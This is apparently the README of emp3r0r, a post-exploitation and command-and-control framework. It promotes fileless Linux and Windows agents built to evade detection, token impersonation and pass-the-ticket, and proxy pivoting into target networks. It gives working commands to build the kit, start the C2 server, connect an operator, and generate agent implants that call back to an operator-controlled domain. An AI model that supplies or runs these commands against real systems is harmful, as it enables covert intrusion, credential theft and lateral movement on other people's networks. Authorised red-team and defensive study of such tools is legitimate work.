
A self-healing, memory-only C2 for Linux and Windows — agents that survive broken links, never touch disk, and script their way through the Win32 API.
emp3r0r is a post-exploitation framework and C2 built for Linux and Windows environments where stealth and resilience aren't optional. Instead of assuming a reliable connection back to one server, agents form a self-healing mesh that keeps working when links break. Instead of asking the target for Python or PowerShell, they execute everything in memory. And instead of limiting you to one platform's tricks, emp3r0r runs Windows BOFs, Linux objects, and Starlark scripts — all fileless, all in-process.
Every agent carries its own scripting engine, so you can drop in new post-exploitation logic without compiling or shipping binaries.
Why this matters: writing and extending agent functionality becomes as simple as editing a script, with none of the footprint of dropping an interpreter or a new binary on the target.
Agents bind their identity to a cryptographic key the first time they talk to you — and that binding never changes.
Why this matters: session hijacking and agent cloning simply don't happen; every agent you talk to is the one you enrolled.
Every C2 and peer link uses ephemeral ECDH keys with session-derived encryption keys.
Why this matters: even if a long-term key is compromised later, it can't be used to decrypt traffic that already passed.
Agents discover each other and relay traffic through a gossip mesh, so the operation doesn't collapse when one link or one server disappears.
Why this matters: the network does the pivoting for you. Cut a link, lose a box, or block the C2 — agents re-route on their own.
Files move between agents directly, not just through the C2.
Why this matters: delivery is fast and mostly invisible to the C2 channel — ideal for egress-restricted environments.
Getting an agent in is treated as seriously as keeping it alive.
Why this matters: small, adaptable, and memory-hygienic initial access means you can land on hosts that would otherwise be out of reach.
Run compiled C modules in-process on either platform:
Why this matters: BOFs are only as good as their loader — emp3r0r runs them in-process with no new process and no trace left behind, on both Linux and Windows.
Once you're on a Windows host, emp3r0r lets you become the users on it — without ever dropping a tool.
make_token) that keep your agent's own identity and only borrow the target user's for outbound access — any password works, nothing is ever validated.import_ticket) into those sessions for full pass-the-ticket: your network identity becomes the ticket's (say, the Domain Admin) while your local identity never changes.--token, --user, and --ticket, so switching identity is one flag away — including creating a session and loading a ticket in a single command.Why this matters: lateral movement to machines running no agent at all — SMB shares, service control, CIFS — becomes a normal part of your workflow, authenticated as the user you've borrowed, not as a tool on disk.
Pivot without burning another implant: the C2 runs a SOCKS5 proxy that relays through the agent you select, and the operator side can go one step further with a transparent TUN device.
socks_start 1080 gives you a SOCKS5 endpoint on the C2 that tunnels through the chosen agent — point proxychains or any tool at it and you're inside the target network.tun2socks start --route 10.10.0.0/24 creates a TUN device that routes only the subnets you name through that proxy — everything else keeps using your normal connection.Why this matters: reach entire agent-side networks transparently — curl a DC, use any tool — with egress that appears to come from the target network, not your operator box.
Why this matters: the C2 channel is made to look like ordinary traffic and stay lean on the wire.
Why this matters: even disk is treated as hostile — the agent keeps no plaintext artifacts around to find.
Building emp3r0r requires Docker or Podman on the host — no local Go toolchain.
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py
The installer builds everything in a throwaway container and prepares the operator kit. Useful flags: --lightweight (Linux/Windows amd64 only, fastest), --targets OS/ARCH,..., --debug, --skip-build.
Launch the server:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
Connect using the WireGuard credentials the server printed:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
Inside the operator console:
# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com
# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
If emp3r0r has proven valuable in your security research and testing, consider supporting its continued development via GitHub Sponsors.